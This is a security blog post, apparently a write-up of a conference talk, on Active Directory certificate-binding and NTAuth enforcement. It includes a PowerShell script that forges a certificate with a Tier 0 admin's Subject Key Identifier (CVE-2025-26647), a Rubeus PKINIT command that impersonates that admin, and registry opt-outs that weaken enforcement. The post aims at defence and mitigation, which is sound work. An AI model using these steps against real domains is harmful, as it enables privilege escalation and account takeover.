Hybrid Identity Protection (HIP) Conference 2025 is over and I presented on the Active Directory and PKI subject again: “Enterprise PKI Today: Friend or Foe”
StrongCertificateBindingEnforcement vs NTAuthEnforcement
StrongCertificateBindingEnforcement has been mandatory since 10th of September 2025 with no supported way of doing a optout to Compatibility Mode. Enforcing this took over 3 years – and where still not done – while the ‘StrongCertificateBindingEnforcement’ registry key is gone from “kdcsvc.dll” with the September updates. However there is a new key available to still optout but that key is only intended for special cases and should NOT be used, but you can find it by string dumping the “kdcsvc.dll” at a specific offset.
.\strings.exe -n 5 -o -f 671232 C:\Windows\system32\kdcsvc.dllPlease be aware that the StrongCertificateBindingEnforcement only protect you from what it was designed to – the following:
- dNSHostName/servicePrincipalName computer owner abuse, Remove DNS SPNs from servicePrincipalName, steal DNS hostname of a DC, put it in your computer accounts dNSHostName attr and request a cert, auth (PKINIT) with the cert and you’re a DC.
- Overwrite userPrincipalName of user to be of target to hijack user account since the missing domain part does not violate an existing UPN
- Overwrite userPrincipalName of user to be @ of target to hijack machine account since machine accounts don’t have a UPN
- Delete userPrincipalName of user and overwrite sAMAccountName to be without a trailing $ to hijack a machine account
Note: 2-4 would require permissions to write to the ‘userPrincipalName’ attribute
It will NOT protect you from:
- CAs trusted in your forest where you don’t have a good security hygiene for issuance of certificates
- If someone can issue a certificate with subject + sid they own that security principal in your Active Directory Forest.
- Subject + SID in AltSubject is sadly enough – tag:microsoft.com,2022-09-14:sid:<value>
- •If you’re using Authentication Mechanism Assurance (AMA) – you must control/prevent issuance with specific issuance policies.
- Bad certificate template hygiene
- Supply in the request (SITR) should never be published on a CA trusted in NTAuth
- Write access to certificate templates outside Tier 0 allows for SITR to be enabled.
- 3rd party/standalone CAs or RA’s/EA’s – you’re on your own to block the above.
NTAuthEnforcement
Since July the NTAuthEnforcement has been enabled by default, meaning that all CAs that issue certificates to be used for PKINIT must be trusted in NTAuth – this changes the picture.
Before this new requirement it was possible to be trusted for PKINIT even if the issuing CA was not trusted in NTAuth – if a strong mapping method was used using AltSecID (altSecurityIdentities). This is no longer possible after CVE-2025-26647 as X509SKI (Subject Key Identifier) for example was considered a strong mapping, but it is possible to create a certificate with a designated SKI (Subject Key Identifier) from any trusted CA – this becomes problematic as you could create a SKI (Subject Key Identifier) of an existing mapped user – a T0 administrator for example and become that security principal within the forest.
In my past post “When your Enterprise PKI becomes one of your enemies (Part 6)” i demonstrate how to – Create, Distribute and Force-Trust your own Fake CA within a forest to perform a T1 to T0 privilege escalation – at that time leverage Authentication Mechanism Assurance (AMA).
But let’s using CVE-2025-26647 instead, let’s say we found a T0 – “strongly” mapped with SKI (Subject Key Identifier) within the Active Directory forest.
Looking something like this:
Dn: CN=Carl Sörqvist (A0),OU=Tier0,DC=nttest,DC=chrisse,DC=com
accountExpires: 9223372036854775807 (never);
altSecurityIdentities: X509:<SKI>C97FACAFD474A962253C5EF55E72ED712B788905;
Given we have the private key for our fake CA available let’s create and sign a certificate with the same SKI (Subject Key Identifier)
using namespace System.Security.Cryptography
using namespace System.Security.Cryptography.X509Certificates
Import-Module -Name CertRequestTools
$SKIExt = [X509SubjectKeyIdentifierExtension]::new("c97facafd474a962253c5ef55e72ed712b788905", $false)
$CRLDistInfo = [CERTENClib.CCertEncodeCRLDistInfoClass]::new()
$CRLDistInfo.Reset(1)
$CRLDistInfo.SetNameCount(0, 1)
$CRLDistInfo.SetNameEntry(0, 0, 7, "ldap:///CN=Chrisse Root CA,CN=NTTEST-CA-01,CN=CDP,CN=Public Key Services,CN=Services,CN=Configuration,DC=nttest,DC=chrisse,DC=com?certificateRevocationList?base?objectClass=cRLDistributionPoint")
$CRLDistInfoB64 = $CRLDistInfo.EncodeBlob([CERTENClib.EncodingType]::XCN_CRYPT_STRING_BASE64)
$CRLDistInfoExtManaged = [System.Security.Cryptography.X509Certificates.X509Extension]::new("2.5.29.31", [Convert]::FromBase64String($CRLDistInfoB64), $false)
$params = @{
Type = 'Custom'
Subject = 'CN=DEMO7 - casoski'
#KeySpec = 'Signature'
KeyExportPolicy = 'Exportable'
KeyLength = 2048
HashAlgorithm = 'sha256'
NotAfter = (Get-Date).AddMonths(10)
CertStoreLocation = 'Cert:\CurrentUser\My'
Signer = $signer
TextExtension = @(
'2.5.29.37={text}1.3.6.1.5.5.7.3.2',
'2.5.29.17={text}upn=caso@nttest.chrisse.com')
Extension = $CRLDistInfoExtManaged, $SKIExt
New-SelfSignedCertificate @params
We can now use this certificate to perform PKINIT and become “Carl Sörqvist (A0)”
rubeus asktgt /user:CASO /certificate:<HASH> /enctype:aes256 /createnetonly:C:\Windows\System32\cmd.exe /showYou can for now until the October patch wave arrive opt-out from the NTAuthEnforcement but then you would be vulnerable to the above “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc\AllowNtAuthPolicyBypass=1”
Summary
Same mitigation as presented before applies – make sure you have two enterprise issuing CAs where one of them isn’t trusted in NTAuth – this one can publish – Supply in the request (SITR) templates, while the other CA that is in NTAuth – Never should have any – Supply in the request (SITR) templates published. All and both Enterprise CAs must be managed from T0 this is very important, however they can issue certificates to lower tiers.
- Strong Certificate Binding Enforcement protects against CVE-2022-34691, CVE-2022-26931 and CVE-2022-26923
- It will NOT protect against bad security hygiene on our CAs, Templates or information within your certificates.
- It will NOT protect against bad security hygiene on our CAs, Templates or information within your certificates.
- NTAuth requirement will protect against CVE-2025-26647 and eliminate all other paths to PKINIT that didn’t required NTAuth
- Fake CA Scenario
- AMA Abuse using altSecID from non-NTAuth CA
Note all my demos uses ‘CertRequestTools‘ from Carl Sörqvist and in this case also Rubeus from Will Schroeder.